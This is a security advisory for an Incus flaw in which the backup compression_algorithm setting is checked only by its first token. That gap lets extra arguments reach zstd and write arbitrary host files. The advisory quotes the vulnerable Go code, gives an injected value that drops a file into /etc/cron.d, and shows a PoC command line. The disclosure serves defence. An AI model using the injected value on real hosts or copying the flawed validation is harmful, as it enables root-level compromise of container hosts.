CVE-2026-48755

Incus has an argument injection in backup compression algorithm leading to AFW and ACE

9.9 CriticalFix available

Incus is a system container and virtual machine manager. Prior to version 7.1.0, improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution. Version 7.1.0 patches the issue.

Incus has an argument injection in backup compression algorithm leading to AFW and ACE

Summary

Improper validation of user-provided backup compression algorithm leads to argument injection in the constructed command line. This leads to an arbitrary file write on the host, possibly leading to arbitrary command execution.

Details

Incus validates compression_algorithm by parsing it into fields and checking only the first token against an allowlist:

fields, err := shellquote.Split(value)
...
if !slices.Contains([]string{"bzip2", "gzip", "lz4", "lzma", "pigz", "pzstd", "pxz", "tar2sqfs", "xz", "zstd"}, fields[0]) {
    return fmt.Errorf("Compression algorithm %q isn't currently supported", fields[0])
}
_, err = exec.LookPath(fields[0])

Extra arguments are not rejected. compressFile() then prepends -c and passes the remaining user-supplied fields to the compressor:

args := []string{"-c"}
if len(fields) > 1 {
    args = append(args, fields[1:]...)
}
cmd := exec.Command(fields[0], args...)
cmd.Stdin = infile
cmd.Stdout = outfile

With a value like:

zstd -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

the daemon executes the equivalent of:

zstd -c -d -f --pass-through -o /etc/cron.d/incus-zstd-rce -- /var/lib/incus/.../payload

PoC

python3 poc.py \
	--insecure --url https://remote-incus:8443 \
	--cert ~/.config/incus/client.crt --key ~/.config/incus/client.key \
	--instance c01 \
	--execute --yes-i-understand-this-writes-host-file
